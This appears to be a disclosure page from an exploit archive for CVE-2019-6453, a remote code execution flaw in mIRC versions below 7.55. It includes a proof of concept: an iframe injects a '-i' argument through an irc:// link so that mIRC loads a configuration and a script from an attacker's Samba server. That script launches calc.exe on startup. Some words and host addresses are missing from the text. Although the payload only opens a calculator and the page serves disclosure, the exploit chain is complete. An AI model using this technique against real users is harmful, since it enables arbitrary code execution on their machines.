mIRC Remote Command Execution

mIRC versions prior to 7.55 suffer from a remote command execution using argument injection through custom URI protocol handlers.

MD5 | 6b03c17a140390183e555131c0c6565b

# Exploit Title: RCE on mIRC <7.55 using argument injection through custom URI protocol handlers
# Date: 18/02/2019
# Exploit Author: https://twitter.com/proofofcalc/
# Vendor Homepage: https://www.mirc.com
# Software Link: https://www.mirc.com/get.php
# Version: < 7.55
# Tested on: Windows
# CVE : CVE-2019-6453

RCE through URI protocol handlers on mIRC <7.55 (CVE-2019-6453)

Severity: High

mIRC has been shown to be vulnerable to argument injection through its
associated URI protocol handlers that improperly escape their parameters.
Usingavailable command-line parameters, an attacker is able to load a remote
configuration file and to automatically run arbitrary code.

Because mIRC doesn't use any kind of sigil such as -- to mark
the end of the argument list, an attacker is able to pass arguments to mIRC
through a irc:// link and execute arbitrary code by loading a custom
from an attacker-controlled Samba file server. Please note that ircs://
the same way.


The proof of calc requires three files: mirc.ini, calc.ini and poc.html.
We assume a Samba file server is running on the attacker's side. For the
sake of the example, the following pieces of code assume it is running on
host (i.e. replace by your own server's address in
the following files to try this out).


mirc.ini is a custom configuration file that should be located at
on the file server.



calc.ini is a remote script file that should be located at
C:\mirc-poc\calc.ini on the
file server.

n0=on *:START: {
n1= /run calc.exe


Just visiting poc.html should work assuming mIRC is set as the default
handler for the
irc:// URI scheme and the browser does not encode the payload. Depending
on the browser
and your configuration, you might still get a prompt (not the case on

<iframe src='irc://? -i\\\C$\mirc-poc\mirc.ini' />

Affected versions

This PoC runs for mIRC <7.55.

You can trigger the PoC on Edge 42.17134 (last preview version) and
Firefox 64.0.2
(last release). It doesn't work on Chrome because the way Chrome handle
URI protocols
(URI is encoded before being passed to the application).


Further explanation (including proof of concept code):



mIRC changelog:


Baptiste Devigne (Geluchat) and Benjamin Chetioui (SIben)

Related Posts